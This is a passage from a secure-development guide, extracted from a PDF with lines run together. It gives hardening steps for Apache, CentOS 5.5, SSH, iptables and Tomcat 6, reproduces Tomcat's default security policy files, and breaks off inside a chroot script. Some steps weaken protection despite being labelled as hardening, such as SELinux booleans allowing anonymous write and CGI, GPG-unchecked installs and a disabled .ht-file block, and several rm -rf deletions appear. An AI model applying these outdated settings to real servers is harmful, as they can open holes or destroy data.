Comment out:#In: /etc/httpd/conf.d/manual.conf## This configuration file allows the manual to be accessed at# http://localhost/manual/##AliasMatch ^/manual(?:/(?:de|en|fr|ja|ko|ru))?(/.*)?$

"/var/www/manual$1"

#<Directory "/var/www/manual"># Options Indexes# AllowOverride None# Order allow,deny# Allow from all#</Directory>

Comment out:# In: /etc/httpd/conf.d/welcome.conf## This configuration file enables the default "Welcome"# page if there is no default index page present for# the root URL. To disable the Welcome page, comment# out all the lines below.##<LocationMatch "^/+$"># Options -Indexes# ErrorDocument 403 /error/noindex.html

Page 143: Java secure development   part 3

632 | P a g e

#</LocationMatch>

Cancel port 80, leave only 443, Replace:Listen 80

To:#Listen 80

Replace:#ServerName localhost

To:ServerName domino-app.digitalfuel.com:443

# disable .htaccess so it won't be discovered on "Get /dfsdf.htaccess HTTP/1.1" whereattacker gets "Permission Denied"

Replace:AccessFileName .htaccess<Files ~ "^\.ht">

Order allow,denyDeny from all

</Files>To:

#AccessFileName .htaccess_df#<Files ~ "^\.ht"># Order allow,deny# Deny from all#</Files>

2. Operating System (CentOS 5.5) Hardening:

2.1. Remove unrequired packages

rpm -e xorg-x11-libs xorg-x11-Mesa-libGL libtiff up2date system-config-mouse bind-utilsbindlibs ypbind yp-tools htmlview pinfo ppp rp-pppoe wvdial cups cups-libs redhat-lsbmdadm portmap nfs-utils irda-utils isdn4k-utils pcmcia-cs NetworkManager pam_smbdos2unix

2.2. Remove system messages/banners

Page 144: Java secure development   part 3

633 | P a g e

echo > /etc/issue.netecho > /etc/issue

2.3. Harden SSH

2.3.1. Upgrading SSH (from default 3.4 to stable 5.8p2)

# Stop your SSH Server/etc/init.d/sshd stop

# Download the latest SSH source code (currently 5.8p2)wget http://ftp.bit.nl/mirror/openssh/portable/openssh-5.8p2.tar.gz

# Extract ittar zxvf openssh-5.8p2.tar.gz

# Install dependenciesyum install gccyum install openssl-develyum install pam-develyum install rpm-build

# Copy SPEC files to RPM compilation/output directorycp openssh-5.8p2/contrib/redhat/openssh.spec /usr/src/redhat/SPECS/cp openssh-5.8p2.tar.gz /usr/src/redhat/SOURCES/cd /usr/src/redhat/SPECSperl -i.bak -pe 's/^(%define no_(gnome|x11)_askpass)\s+0$/$1 1/' openssh.spec

# Initiate Compilationrpmbuild -bb openssh.spec

# Make sure it was compiled successfullycd /usr/src/redhat/RPMS/`uname -i`ls –l

-rw-r--r-- 1 root root 357613 May 22 01:31 openssh-5.8p2-1.i386.rpm-rw-r--r-- 1 root root 497123 May 22 01:31 openssh-clients-5.8p2-1.i386.rpm-rw-r--r-- 1 root root 16812 May 22 01:31 openssh-debuginfo-5.8p2-1.i386.rpm-rw-r--r-- 1 root root 296396 May 22 01:31 openssh-server-5.8p2-1.i386.rpm

Page 145: Java secure development   part 3

634 | P a g e

# Once you have seen it was compiled, erase the old packageyum erase *ssh*

# Make a local yum installyum --nogpgcheck localinstall /usr/src/redhat/RPMS/i386/openssh-debuginfo-5.8p2-1.i386.rpmyum --nogpgcheck localinstall /usr/src/redhat/RPMS/i386/openssh-5.8p2-1.i386.rpmyum --nogpgcheck localinstall /usr/src/redhat/RPMS/i386/openssh-clients-5.8p2-1.i386.rpmyum --nogpgcheck localinstall /usr/src/redhat/RPMS/i386/openssh-server-5.8p2-1.i386.rpm

# Start your new SSH Server/etc/init.d/sshd start

2.3.2. Harden Server Configuration

In /etc/ssh/sshd_config:

Change old values to:

# Don’t allow connection through SSH using empty passwordsPermitEmptyPasswords no

# Only 2 minutes are allowed for login attempts since connection establishedLoginGraceTime 2m

# Don’t print the message of the dayPrintMotd no

# Don’t display the message of the day bannerBanner /dev/null

# Be strict with protocols and data parsingStrictModes yes

# Allow a maximum of 3 authentication attemptsMaxAuthTries 3

Page 146: Java secure development   part 3

635 | P a g e

# Restart your SSH server/etc/init.d/sshd restart

2.3.3. Harden the SSH Client

In /etc/ssh/ssh_config (secure the SSH client):

# To deny exposure to SSH MiTM downgrading attacksChange old value to:

Protocol 2

2.4. Disable IPv6

In /etc/sysconfig/network:NETWORKING=yesNETWORKING_IPV6=noHOSTNAME=domino-app.digitalfuel.comIPV6INIT=no

In /etc/modprobe.d:blacklist ipv6install ipv6 /bin/true

In /etc/modprobe.conf:alias net-pf-10 offalias ipv6 off

In /etc/sysconfig/network-scripts/ifcfg-eth0:IPV6INIT=noIPV6_AUTOCONF=no

chkconfig ip6tables off

2.5. Disable unused/unrequired services

chkconfig ntpd offchkconfig ip6tables offchkconfig irda offchkconfig irqbalance off

Page 147: Java secure development   part 3

636 | P a g e

chkconfig kdump offchkconfig kudzu offchkconfig mcstrans offchkconfig microcode_ctl offchkconfig multipathd offchkconfig netconsole offchkconfig netfs offchkconfig netplugd offchkconfig nfs offchkconfig nfslock offchkconfig nscd offchkconfig pcscd offchkconfig portmap offchkconfig rdisc offchkconfig rhnsd offchkconfig restorecond offchkconfig rpcgssd offchkconfig rpcidmapd offchkconfig rpcsvcgssd offchkconfig sendmail offchkconfig smartd offchkconfig winbind offchkconfig wpa_supplicant offchkconfig xfs offchkconfig ypbind offchkconfig yum-updatesd offchkconfig acpid onchkconfig anacron onchkconfig atd onchkconfig cpuspeed onchkconfig lvm2-monitor onchkconfig messagebus onchkconfig ntpd onchkconfig network onchkconfig oracle onchkconfig oracleasm onchkconfig readahead_early onchkconfig readahead_later onchkconfig syslog onchkconfig sshd on

Page 148: Java secure development   part 3

637 | P a g e

2.6. Add Scary banner message

cat > /root/banner << EOF|-----------------------------------------------------------------|| This system is for the use of authorized users only. || Individuals using this computer system without authority, or in || excess of their authority, are subject to having all of their || activities on this system monitored and recorded by system || personnel. || || In the course of monitoring individuals improperly using this || system, or in the course of system maintenance, the activities || of authorized users may also be monitored. || || Anyone using this system expressly consents to such monitoring || and is advised that if such monitoring reveals possible || evidence of criminal activity, system personnel may provide the || evidence of such monitoring to law enforcement officials. ||-----------------------------------------------------------------|EOFcat /root/bannerecho Banner /root/banner >> /etc/ssh/sshd_configservice sshd restart

2.7. TCP/IP Hardening

echo net.ipv4.conf.all.accept_source_route = 0 >> /etc/sysctl.confecho net.ipv4.conf.all.accept_redirects = 0 >> /etc/sysctl.confecho net.ipv4.icmp_echo_ignore_broadcasts = 1 >> /etc/sysctl.confecho net.ipv4.icmp_ignore_bogus_error_responses = 1 >> /etc/sysctl.confecho net.ipv4.conf.all.log_martians = 1 >> /etc/sysctl.conf

sysctl -p

2.8. IPTables

Page 149: Java secure development   part 3

638 | P a g e

# Establish a clean slateiptables -P INPUT ACCEPTiptables -P FORWARD ACCEPTiptables -P OUTPUT ACCEPTiptables -F # Flush all rulesiptables -X # Delete all chains

# Disable routing. Drop packets if they reach the end of the chain.iptables -P FORWARD DROP

# Drop all packets with a bad stateiptables -A INPUT -m state --state INVALID -j DROP

# Accept any packets that have something to do with ones we've sent on outboundiptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

# Accept any packets coming or going on localhost (this can be very important)iptables -A INPUT -i lo -j ACCEPT

# Accept ICMPiptables -A INPUT -p icmp -j ACCEPT

# NTPdiptables -A INPUT -p udp --dport 123 -j ACCEPT # assuming you are ntp serveriptables -A OUTPUT -p udp --dport 123 -j ACCEPT # try to narrow it down using -s to couplepublic ntp servers

# Allow SSHiptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Allow HTTPS/SSL (only relevant to the Apache Machine)iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Allow Oracle (only relevant to the Oracle Machine)iptables -A INPUT -p tcp --dport 1521 -j ACCEPT

# Block all other trafficiptables -A INPUT -j DROP

# Save until rebootservice iptables save

Page 150: Java secure development   part 3

639 | P a g e

# Save rules in a local file/sbin/iptables-save > local_iptables.fw

# Restart IPTables with new rulesservice iptables restart

# Add the following command to /etc/rc.local (this reloads the IPTables rules on eachreboot):/sbin/iptables-restore < /root/local_iptables.fw

3. Apache Tomcat 6.0 Hardening:

3.1. Tomcat Session ID default name modification:

# In: /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/bin/catalina.sh

# Add:

JAVA_OPTS="$JAVA_OPTS-Dorg.apache.catalina.SESSION_COOKIE_NAME=SESSIONID-Dorg.apache.catalina.SESSION_PARAMETER_NAME=sessionid"

# Execute:

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/bin/catalina.sh

3.2. Tomcat session HTTPOnly flag:

#In: /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/webapps/jserf/META-INF/context.xml

#Change at File Header

<Context crossContext="true" debug="0" docBase="jserf" path="/jserf"reloadable="true" distributable="true" useHttpOnly="true">

3.3. Tomcat – Change Server Banner:

Page 151: Java secure development   part 3

640 | P a g e

# Disable Tomcat Version Exposure in catalina.jar located at:

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/webapps/jserf/WEB-INF/lib/catalina.jar

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/lib/catalina.jar

Replace “ServerInfo.properties” file inside the catalina.jar:jar uf catalina.jar org/apache/catalina/util/ServerInfo.properties

With:

server.info=Microsoft-IIS/7.5server.number=7.5server.built=Apr 11 2008 02:08:29

3.4. Tomcat – Change Tomcat Port to Listen Only Internally:

#Change Tomcat port to internal LocalHost#Change from: “ip:8080” to “LocalHost:8080”

#In: /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/conf/server.xml

In: <Connector port="8080" protocol="HTTP/1.1"Add: address="localhost"

# Restart Tomcat to verify changes:/etc/init.d/dft-domino-live restart

3.5. Tomcat – Disable The HTTP Verb Trace:

#In: /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/conf/server.xml

In: <Connector port="8080" protocol="HTTP/1.1"Add: allowTrace="false"

# Restart Tomcat to verify changes:/etc/init.d/dft-domino-live restart

Page 152: Java secure development   part 3

641 | P a g e

3.6. Tomcat – Define an index page:

Save the following to "index.html":<script>try {

var x = navigator.userAgent;if ("" != x) {

location.href="/jserf/Login";}

} catch(e) {// nothing

}</script>

3.7. Tomcat – One single custom error page for all errors:

Save the following to "df_custom_error.html":

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css"><!--body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;}h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;}h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}

Page 153: Java secure development   part 3

642 | P a g e

--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"><div class="content-container"><fieldset><h2>404 - File or directory not found.</h2><h3>The resource you are looking for might have been removed, had its namechanged, or is temporarily unavailable.</h3></fieldset></div></div></body></html>

In:

/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/conf/web.xml/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/webapps/ROOT/WEB-INF/web.xml/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/webapps/jserf/WEB-INF/web.xml/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/conf/web.xml/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/webapps/ROOT/WEB-INF/web.xml

Change/Add the following:

<error-page><exception-type>java.lang.Throwable</exception-type><location>/generalerror.jsp</location>

</error-page>

<error-page><error-code>500</error-code><location>/generalerror.jsp</location>

</error-page>

<error-page><error-code>501</error-code><location>/generalerror.jsp</location>

</error-page>

Page 154: Java secure development   part 3

643 | P a g e

<error-page><error-code>502</error-code><location>/generalerror.jsp</location>

</error-page>

<error-page><error-code>403</error-code><location>/generalerror.jsp</location>

</error-page>

<error-page><error-code>401</error-code><location>/generalerror.jsp</location>

</error-page>

<error-page><error-code>404</error-code><location>/generalerror.jsp</location>

</error-page>

Add generalerror.jsp with:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css"><!--body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;}h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;}h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;

Page 155: Java secure development   part 3

644 | P a g e

background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"><div class="content-container"><fieldset>

<h2>404 - File or directory not found.</h2><h3>The resource you are looking for might have been removed, had its name

changed, or is temporarily unavailable.</h3></fieldset></div></div></body></html>

3.8. Tomcat – Remove Tomcat Example Scripts:

rm -rf $CATALINA_HOME/webapps/js-examples \$CATALINA_HOME/webapps/servlet-example \$CATALINA_HOME/webapps/webdav \$CATALINA_HOME/webapps/tomcat-docs \$CATALINA_HOME/webapps/balancer \$CATALINA_HOME/webapps/ROOT/admin \$CATALINA_HOME/webapps/examples

Except for the “WEB-INF” folder, delete all files inside:/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/webapps/ROOT

3.9. Tomcat – Remove Tomcat Manager application:

rm –rf $CATALINA_HOME/server/webapps/host-manager \$CATALINA_HOME/server/webapps/manager \

Page 156: Java secure development   part 3

645 | P a g e

$CATALINA_HOME/conf/Catalina/localhost/host-manager.xml \$CATALINA_HOME/conf/Catalina/localhost/manager.xml

4. SELinux – Optional Hardening:

4.1. SELinux Apache Hardening

# Change context of “/var/www/html” to “apache_sys_content_t”chcon -R -t httpd_sys_content_t /var/www/html

# Define all new create files with the same matching context typesemanage fcontext -a -t httpd_sys_content_t /var/www/html

# Change context of “/var/log/httpd” to “apache_log_t”chcon -R -t httpd_log_t /var/log/httpd

# Define all new create files with the same matching context typesemanage fcontext -a -t httpd_log_t /var/log/httpd

# Enforcing SELinux Rulesecho 1 >/selinux/enforce

# Restarting Tomcat after SELinux:cd /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/ &&/home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/shutdown.sh && /home/dominodf/home/dominodf/DigitalFuel-Tomcat/DigitalFuel-7.0/Domino_Live/startup.sh

4.2. SELinux for other services (Experts Only)

4.2.1. Enable Hardened HTTP

setsebool -P httpd_builtin_scripting 1setsebool -P httpd_can_network_connect_db 1setsebool -P httpd_can_network_connect 1setsebool -P httpd_can_sendmail 1setsebool -P httpd_can_network_relay 1setsebool -P httpd_enable_cgi 1setsebool -P httpd_enable_homedirs 1setsebool -P allow_httpd_sys_script_anon_write 1setsebool -P allow_httpd_anon_write 1setsebool -P httpd_suexec_disable_trans 1

Page 157: Java secure development   part 3

646 | P a g e

setsebool -P httpd_tty_comm 0setsebool -P httpd_unified 0setsebool -P httpd_enable_ftp_server 0setsebool -P allow_httpd_bugzilla_script_anon_write 0setsebool -P allow_httpd_mod_auth_pam 0setsebool -P allow_httpd_nagios_script_anon_write 0setsebool -P allow_httpd_prewikka_script_anon_write 0setsebool -P allow_httpd_squid_script_anon_write 0setsebool -P httpd_disable_trans 1setsebool -P httpd_rotatelogs_disable_trans 1setsebool -P httpd_ssi_exec 0setsebool -P httpd_use_cifs 0setsebool -P httpd_use_nfs 0

4.2.2. Disable FTP

setsebool -P httpd_enable_ftp_server 0setsebool -P ftp_home_dir 0setsebool -P allow_ftpd_anon_write 0

# Disable FTP, should never allow on an internet facing serverssetsebool -P allow_ftpd_full_access 0setsebool -P tftp_anon_write 0setsebool -P allow_ftpd_use_cifs 0setsebool -P allow_ftpd_use_nfs 0

4.2.3. Disable NIS Clients

setsebool -P allow_ypbind=0setsebool -P ypbind_disable_trans=1setsebool -P yppasswdd_disable_trans=1setsebool -P samba_enable_home_dirs 0

Apache and Tomcat SecurityPermissions

Permission classes are used to define what Permissions a class loaded by Tomcat willhave. There are a number of Permission classes that are a standard part of the JDK, andyou can create your own Permission class for use in your own web applications. Bothtechniques are used in Tomcat 6.

Standard Permissions

Page 158: Java secure development   part 3

647 | P a g e

This is just a short summary of the standard system SecurityManager Permission classesapplicable to Tomcat. See http://java.sun.com/security/ for more information.

java.util.PropertyPermission - Controls read/write access to JVM properties suchas java.home.

java.lang.RuntimePermission - Controls use of some System/Runtime functionslike exit() and exec(). Also control the package access/definition.

java.io.FilePermission - Controls read/write/execute access to files and directories. java.net.SocketPermission - Controls use of network sockets. java.net.NetPermission - Controls use of multicast network connections. java.lang.reflect.ReflectPermission - Controls use of reflection to do class

introspection. java.security.SecurityPermission - Controls access to Security methods. java.security.AllPermission - Allows access to all permissions, just as if you were

running Tomcat without a SecurityManager.

Tomcat Custom Permissions

Tomcat utilizes a custom permission class called org.apache.naming.JndiPermission.This permission controls read access to JNDI named file based resources. Thepermission name is the JNDI name and there are no actions. A trailing "*" can be usedto do wild card matching for a JNDI named file resource when granting permission. Forexample, you might include the following in your policy file:

permission org.apache.naming.JndiPermission "jndi://localhost/examples/*";

A Permission entry like this is generated dynamically for each web application that isdeployed, to allow it to read its own static resources but disallow it from using fileaccess to read any other files (unless permissions for those files are explicitly granted).

Also, Tomcat always dynamically creates the following file permissions:

permission java.io.FilePermission "** your application context**", "read";

permission java.io.FilePermission"** application working directory**", "read,write";

permission java.io.FilePermission"** application working directory**/-", "read,write,delete";

Page 159: Java secure development   part 3

648 | P a g e

Where **your application context** equals the folder (or WAR file) under which yourapplication has been deployed and **application working directory** is the temporarydirectory provided to your application as required by the Servlet Specification.Configuring Tomcat With A SecurityManager

Page 160: Java secure development   part 3

649 | P a g e

Policy File Format

The security policies implemented by the Java SecurityManager are configured inthe $CATALINA_BASE/conf/catalina.policy file. This file completely replaces the java.policy filepresent in your JDK system directories. The catalina.policy file can be edited by hand, oryou can use the policytool application that comes with Java 1.2 or later.

Entries in the catalina.policy file use the standard java.policy file format, as follows:

// Example policy file entry

grant [signedBy <signer>,] [codeBase <code source>] {permission <class> [<name> [, <action list>]];

};

The signedBy and codeBase entries are optional when granting permissions. Commentlines begin with "//" and end at the end of the current line. The codeBase is in the form ofa URL, and for a file URL can use the ${java.home} and ${catalina.home} properties (whichare expanded out to the directory paths defined for them bythe JAVA_HOME, CATALINA_HOME andCATALINA_BASE environment variables).

The Default Policy File

The default $CATALINA_BASE/conf/catalina.policy file looks like this:

// Licensed to the Apache Software Foundation (ASF) under one or more// contributor license agreements. See the NOTICE file distributed with// this work for additional information regarding copyright ownership.// The ASF licenses this file to You under the Apache License, Version 2.0// (the "License"); you may not use this file except in compliance with// the License. You may obtain a copy of the License at//// http://www.apache.org/licenses/LICENSE-2.0//// Unless required by applicable law or agreed to in writing, software// distributed under the License is distributed on an "AS IS" BASIS,// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.// See the License for the specific language governing permissions and// limitations under the License.

// ============================================================================

Page 161: Java secure development   part 3

650 | P a g e

// catalina.policy - Security Policy Permissions for Tomcat @VERSION_MAJOR@//// This file contains a default set of security policies to be enforced (by the// JVM) when Catalina is executed with the "-security" option. In addition// to the permissions granted here, the following additional permissions are// granted to the codebase specific to each web application://// * Read access to its document root directory// * Read, write and delete access to its working directory//// $Id: catalina.policy 1135491 2011-06-14 11:27:38Z markt $// ============================================================================

// ========== SYSTEM CODE PERMISSIONS =========================================

// These permissions apply to javacgrant codeBase "file:${java.home}/lib/-" {

permission java.security.AllPermission;};

// These permissions apply to all shared system extensionsgrant codeBase "file:${java.home}/jre/lib/ext/-" {

permission java.security.AllPermission;};

// These permissions apply to javac when ${java.home] points at $JAVA_HOME/jregrant codeBase "file:${java.home}/../lib/-" {

permission java.security.AllPermission;};

// These permissions apply to all shared system extensions when// ${java.home} points at $JAVA_HOME/jregrant codeBase "file:${java.home}/lib/ext/-" {

permission java.security.AllPermission;};

// ========== CATALINA CODE PERMISSIONS =======================================

// These permissions apply to the daemon codegrant codeBase "file:${catalina.home}/bin/commons-daemon.jar" {

permission java.security.AllPermission;};

// These permissions apply to the logging API// Note: If tomcat-juli.jar is in ${catalina.base} and not in ${catalina.home},// update this section accordingly.

Page 162: Java secure development   part 3

651 | P a g e

// grant codeBase "file:${catalina.base}/bin/tomcat-juli.jar" {..}grant codeBase "file:${catalina.home}/bin/tomcat-juli.jar" {

permission java.io.FilePermission"${java.home}${file.separator}lib${file.separator}logging.properties", "read";

permission java.io.FilePermission"${catalina.base}${file.separator}conf${file.separator}logging.properties", "read";

permission java.io.FilePermission"${catalina.base}${file.separator}logs", "read, write";

permission java.io.FilePermission"${catalina.base}${file.separator}logs${file.separator}*", "read, write";

permission java.lang.RuntimePermission "shutdownHooks";permission java.lang.RuntimePermission "getClassLoader";permission java.lang.RuntimePermission "setContextClassLoader";

permission java.util.logging.LoggingPermission "control";

permission java.util.PropertyPermission "java.util.logging.config.class", "read";permission java.util.PropertyPermission "java.util.logging.config.file", "read";permission java.util.PropertyPermission "catalina.base", "read";

// Note: To enable per context logging configuration, permit read access to// the appropriate file. Be sure that the logging configuration is// secure before enabling such access.// E.g. for the examples web application (uncomment and unwrap// the following to be on a single line):// permission java.io.FilePermission "${catalina.base}${file.separator}// webapps${file.separator}examples${file.separator}WEB-INF// ${file.separator}classes${file.separator}logging.properties", "read";

};

// These permissions apply to the server startup codegrant codeBase "file:${catalina.home}/bin/bootstrap.jar" {

permission java.security.AllPermission;};

// These permissions apply to the servlet API classes// and those that are shared across all class loaders// located in the "lib" directorygrant codeBase "file:${catalina.home}/lib/-" {

permission java.security.AllPermission;};

// If using a per instance lib directory, i.e. ${catalina.base}/lib,// then the following permission will need to be uncommented// grant codeBase "file:${catalina.base}/lib/-" {// permission java.security.AllPermission;// };

Page 163: Java secure development   part 3

652 | P a g e

// ========== WEB APPLICATION PERMISSIONS =====================================

// These permissions are granted by default to all web applications// In addition, a web application will be given a read FilePermission// and JndiPermission for all files and directories in its document root.grant {

// Required for JNDI lookup of named JDBC DataSource's and// javamail named MimePart DataSource used to send mailpermission java.util.PropertyPermission "java.home", "read";permission java.util.PropertyPermission "java.naming.*", "read";permission java.util.PropertyPermission "javax.sql.*", "read";

// OS Specific properties to allow read accesspermission java.util.PropertyPermission "os.name", "read";permission java.util.PropertyPermission "os.version", "read";permission java.util.PropertyPermission "os.arch", "read";permission java.util.PropertyPermission "file.separator", "read";permission java.util.PropertyPermission "path.separator", "read";permission java.util.PropertyPermission "line.separator", "read";

// JVM properties to allow read accesspermission java.util.PropertyPermission "java.version", "read";permission java.util.PropertyPermission "java.vendor", "read";permission java.util.PropertyPermission "java.vendor.url", "read";permission java.util.PropertyPermission "java.class.version", "read";permission java.util.PropertyPermission "java.specification.version", "read";permission java.util.PropertyPermission "java.specification.vendor", "read";permission java.util.PropertyPermission "java.specification.name", "read";

permission java.util.PropertyPermission "java.vm.specification.version", "read";permission java.util.PropertyPermission "java.vm.specification.vendor", "read";permission java.util.PropertyPermission "java.vm.specification.name", "read";permission java.util.PropertyPermission "java.vm.version", "read";permission java.util.PropertyPermission "java.vm.vendor", "read";permission java.util.PropertyPermission "java.vm.name", "read";

// Required for OpenJMXpermission java.lang.RuntimePermission "getAttribute";

// Allow read of JAXP compliant XML parser debugpermission java.util.PropertyPermission "jaxp.debug", "read";

// Precompiled JSPs need access to these packages.permission java.lang.RuntimePermission "accessClassInPackage.org.apache.jasper.el";permission java.lang.RuntimePermission "accessClassInPackage.org.apache.jasper.runtime";permission java.lang.RuntimePermission "accessClassInPackage.org.apache.jasper.runtime.*";

Page 164: Java secure development   part 3

653 | P a g e

// Precompiled JSPs need access to these system properties.permission java.util.PropertyPermission"org.apache.jasper.runtime.BodyContentImpl.LIMIT_BUFFER", "read";

permission java.util.PropertyPermission "org.apache.el.parser.COERCE_TO_ZERO", "read";};

// The Manager application needs access to the following packages to support the// session display functionality. These settings support the following// configurations:// - default CATALINA_HOME == CATALINA_BASE// - CATALINA_HOME != CATALINA_BASE, per instance Manager in CATALINA_BASE// - CATALINA_HOME != CATALINA_BASE, shared Manager in CATALINA_HOMEgrant codeBase "file:${catalina.base}/webapps/manager/-" {

permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina";permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina.manager";permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina.manager.util";

};grant codeBase "file:${catalina.home}/webapps/manager/-" {

permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina";permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina.manager";permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina.manager.util";

};

// You can assign additional permissions to particular web applications by// adding additional "grant" entries here, based on the code base for that// application, /WEB-INF/classes/, or /WEB-INF/lib/ jar files.//// Different permissions can be granted to JSP pages, classes loaded from// the /WEB-INF/classes/ directory, all jar files in the /WEB-INF/lib/// directory, or even to individual jar files in the /WEB-INF/lib/ directory.//// For instance, assume that the standard "examples" application// included a JDBC driver that needed to establish a network connection to the// corresponding database and used the scrape taglib to get the weather from// the NOAA web server. You might create a "grant" entries like this://// The permissions granted to the context root directory apply to JSP pages.// grant codeBase "file:${catalina.base}/webapps/examples/-" {// permission java.net.SocketPermission "dbhost.mycompany.com:5432", "connect";// permission java.net.SocketPermission "*.noaa.gov:80", "connect";// };//// The permissions granted to the context WEB-INF/classes directory// grant codeBase "file:${catalina.base}/webapps/examples/WEB-INF/classes/-" {// };//// The permission granted to your JDBC driver// grant codeBase "jar:file:${catalina.base}/webapps/examples/WEB-INF/lib/driver.jar!/-" {// permission java.net.SocketPermission "dbhost.mycompany.com:5432", "connect";

Page 165: Java secure development   part 3

654 | P a g e

// };// The permission granted to the scrape taglib// grant codeBase "jar:file:${catalina.base}/webapps/examples/WEB-INF/lib/scrape.jar!/-" {// permission java.net.SocketPermission "*.noaa.gov:80", "connect";// };

Starting Tomcat With A SecurityManager

Once you have configured the catalina.policy file for use with a SecurityManager, Tomcatcan be started with a SecurityManager in place by using the "-security" option:

$CATALINA_HOME/bin/catalina.sh start -security (Unix)%CATALINA_HOME%\bin\catalina start -security (Windows)

Configuring Package Protection in Tomcat

Starting with Tomcat 5, it is now possible to configure which Tomcat internal packageare protected againts package definition and access.See http://java.sun.com/security/seccodeguide.htmlfor more information.

WARNING: Be aware that removing the default package protection could possibly opena security hole

The Default Properties File

The default $CATALINA_BASE/conf/catalina.properties file looks like this:

## List of comma-separated packages that start with or equal this string# will cause a security exception to be thrown when# passed to checkPackageAccess unless the# corresponding RuntimePermission ("accessClassInPackage."+package) has# been granted.package.access=sun.,org.apache.catalina.,org.apache.coyote.,org.apache.tomcat.,org.apache.jasper.## List of comma-separated packages that start with or equal this string# will cause a security exception to be thrown when# passed to checkPackageDefinition unless the# corresponding RuntimePermission ("defineClassInPackage."+package) has

Page 166: Java secure development   part 3

655 | P a g e

# been granted.## by default, no packages are restricted for definition, and none of# the class loaders supplied with the JDK call checkPackageDefinition.#package.definition=sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.tomcat.,org.apache.jasper.

Once you have configured the catalina.properties file for use with a SecurityManager,remember to re-start Tomcat.Troubleshooting

If your web application attempts to execute an operation that is prohibited by lack of arequired Permission, it will throw an AccessControLException or a SecurityException when theSecurityManager detects the violation. Debugging the permission that is missing can bechallenging, and one option is to turn on debug output of all security decisions that aremade during execution. This is done by setting a system property before startingTomcat. The easiest way to do this is via the CATALINA_OPTS environment variable.Execute this command:

export CATALINA_OPTS=-Djava.security.debug=all (Unix)set CATALINA_OPTS=-Djava.security.debug=all (Windows)

before starting Tomcat.

WARNING - This will generate many megabytes of output! However, it can help youtrack down problems by searching for the word "FAILED" and determining whichpermission was being checked for. See the Java security documentation for moreoptions that you can specify here as well.

Page 167: Java secure development   part 3

656 | P a g e

3.2 Apache Webserver Chrooting Script (Linux)#! /bin/csh –f################################################################ Start config section# Please edit only these configuration parameters###############################################################set chroot=/opt/applic/chroot/httpdset working_apache_dir=/httpdset apache_dirname=httpd################################################################ End config section############################################################################################################################### Create CHROOT DIR###############################################################if ( -d $chroot ) thenecho "========================================="echo "chroot dir $chroot already there"rm -r $chrootecho "Apache chroot dir $chroot deleted"echo "========================================="echo "make empty CHROOT directory $chroot"mkdir $chrootecho "========================================="elseecho "========================================="echo "make empty CHROOT directory $chroot"mkdir $chrootecho "========================================="endif################################################################ Copy Apache working directory into CHROOT space###############################################################echo "========================================="echo "Copying $apache_dirname into $chroot"(cd / ; tar -cf - $apache_dirname) | (cd $chroot; tar -xpf -)################################################################ Identification of Shared Libraries and# installation into chroot env###############################################################set shared_objects=`ldd $chroot/$working_apache_dir/bin/httpd |awk '{print 